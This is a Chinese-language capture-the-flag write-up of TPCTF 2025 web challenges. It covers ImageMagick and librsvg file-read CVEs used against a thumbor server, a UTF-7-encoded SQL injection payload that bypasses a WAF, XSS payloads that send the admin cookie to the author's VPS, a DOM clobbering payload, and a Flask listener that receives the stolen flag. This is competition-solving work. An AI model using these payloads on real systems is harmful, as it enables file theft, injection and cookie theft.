前言 我勒个XSS大赛。。
最喜欢的java没有出现在web中,反而在misc中吗,哈吉tpctf你这家伙。
thumbor 1 附件给的是thumbor的插件环境,hint说没有0day。
那应该就不是thumbor本身的问题,其实也有点关系,就是可以url访问图片,这个在官方security文档就能看到:Security — Thumbor 7.7.4 documentation
但这个题其实是依赖的漏洞emmmmm,一开始真以为是挖0day。。。
thumbor1的依赖组件有一个ImageMagick,是一个免费的开源软件套件,用于显示、转换和编辑光栅图像和向量图像文件。它支持200多种图像文件格式,并可执行各种图像处理操作。
这里的漏洞即为CVE-2022-44268
,ImageMagick的任意文件读取漏洞。
https://www.metabaseq.com/threat/imagemagick-zero-days/ https://github.com/voidz0r/CVE-2022-44268?tab=readme-ov-file
我们可以让靶机访问挂在自己vps上精心构造好的png,远程解析就会把对应的文件附加在图片里,复现CVE就完了:
flag也一样的,低权限可读:
thumbor 2 还是一样的组件漏洞,但是可以发现dockerfile里重装了最新的ImageMagick,所以需要找新的组件。
这里队里nama和赵哥找了很多,试了XXE等等,以及ghostscript 9.5的RCE,均失败。但是很奇怪的是版本用的gs确实是9.5,为什么打不通呢。。。
最终锁定漏洞组件librsvg,CVE-2023-38633
:librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件:
https://blog.csdn.net/HMX404/article/details/137231580
同样的打法,可以获得漏洞解析后的包含flag的图片,直接访问就能看到了:
这里看不到完整的直接调宽高就行了。flag也是低权限可读:
1 curl -o output.jpg -H "Host: 1.95.57.127:3602" -H "Accept-Encoding: gzip, deflate" -H "Upgrade-Insecure-Requests: 1" -H "Priority: u=0, i" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" "http://1.95.57.127:3602/thumbor/unsafe/smart/http%3A%2F%2Fvps%3A1234%2F1.svg"
supersqli 赵哥太狠了,直接拿下一血。
论文题,按照它的方法打复现就行了:
Jianjun Chen | Associate Professor | Tsinghua University
1 2 3 Break the Wall from Bottom: Automated Discovery of Protocol-Level Evasion Vulnerabilities in Web Application Firewalls 2024 IEEE Symposium on Security and Privacy Qi Wang, Jianjun Chen, Zheyu Jiang, Run Guo, Ximeng Liu, Chao Zhang, Haixin Duan
其实也是队里去清华的eki佬的论文,tql😭
高手!!!!!
直接往/flag发POST:
1 +AHUAcwBlAHIAbgBhAG0AZQ-=+AGEAZABtAGkAbg-&+AHAAYQBzAHMAdwBvAHIAZA-=+ACcALwAqACoALwB1AG4AaQBvAG4ALwAqACoALwBTAEUATABFAEMAVAAvACoAKgAvADEALAAyACwAUgBFAFAATABBAEMARQAoAFIARQBQAEwAQQBDAEUAKAAnACIALwAqACoALwB1AG4AaQBvAG4ALwAqACoALwBTAEUATABFAEMAVAAvACoAKgAvADEALAAyACwAUgBFAFAATABBAEMARQAoAFIARQBQAEwAQQBDAEUAKAAiAC4AIgAsAEMASABBAFIAKAAzADQAKQAsAEMASABBAFIAKAAzADkAKQApACwAQwBIAEEAUgAoADQANgApACwAIgAuACIAKQAvACoAKgAvAEEAUwAvACoAKgAvAGMAaAAzAG4AcwAxAHIALQAtACcALABDAEgAQQBSACgAMwA0ACkALABDAEgAQQBSACgAMwA5ACkAKQAsAEMASABBAFIAKAA0ADYAKQAsACcAIgAvACoAKgAvAHUAbgBpAG8AbgAvACoAKgAvAFMARQBMAEUAQwBUAC8AKgAqAC8AMQAsADIALABSAEUAUABMAEEAQwBFACgAUgBFAFAATABBAEMARQAoACIALgAiACwAQwBIAEEAUgAoADMANAApACwAQwBIAEEAUgAoADMAOQApACkALABDAEgAQQBSACgANAA2ACkALAAiAC4AIgApAC8AKgAqAC8AQQBTAC8AKgAqAC8AYwBoADMAbgBzADEAcgAtAC0AJwApAC8AKgAqAC8AQQBTAC8AKgAqAC8AYwBoADMAbgBzADEAcgAtAC0-
当然也有真去注的,用quine注入,其他队的wp可以康:
TPCTF 2025 Writeup by 0xFFF
layout三件套 原题打法。
请看VCR:
Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re
https://github.com/Sudistark/CTF-Writeups/blob/main/Flatt-Security-XSS-Challenge/solutions.md
baby layout 源码很简单,XSS读到admin的cookie就是flag。
1 2 layout : <svg src ="{{content}}" > </svg > content : test" onload=location.href=" http :
safe layout 在原来的基础上过滤了所有html属性。加了个
data-* 和 aria-* 类的属性不会被过滤,按照文章改改就行:
1 2 layout : <svg data-type ="{{content}}" > </svg > content : test" onload=location.href=" http :
safe layout revenge 除了对attr进行过滤,aria和data一并被过滤:
可以采用style绕过,把xss的payload构造好后把script标签插入content:
1 layout : x<style><{{content}}/style><{{content}}img src=x onerror=alert ()></style>
1 x<style><{{content}}/style><{{content}}img src=x onerror=fetch ('http://vps:port?flag=' +document .cookie )></style>
提交内容为空即可:
官方:
Are you incognito? 好像是ustc发现的0day?
做法来自TPCTF2025 writeup by Mini-Venom :
如果不存在broswer.runtime.id
,则module.exports
导出window
的browser
。
注意到globalThis
是window
,因此可以使用dom clobberate
污染browser.runtime.id
:
1 2 3 4 5 if (!(globalThis.browser && globalThis.browser .runtime && globalThis.browser .runtime .id )) { }else { module .exports = globalThis.browser ; }
使用iframe三层污染:
1 2 3 4 5 6 7 <iframe name="browser" srcdoc=' <form id="runtime"></form> <form id="runtime" name="id"> </form> <form id="extension"></form> <form id="extension" name="inIncognitoContext"> </form>' ></iframe>
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from flask import *import os app = Flask(__name__)@app.route('/' ) def index (): try : file_path = os.path.join(os.path.dirname(__file__), 'index.html' ) with open (file_path, 'r' ) as f: data = f.read() return data, 200 , {'Content-Type' : 'text/html' } except Exception as e: return 'Internal Server Error' , 500 @app.route('/flag' , methods=['POST' ] ) def flag (): body = request.data.decode('utf-8' ) response = { 'status' : 'flag' , 'data' : body } print (response) return jsonify(response), 200 @app.errorhandler(404 ) def page_not_found (e ): return 'Not Found' , 404 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=21000 )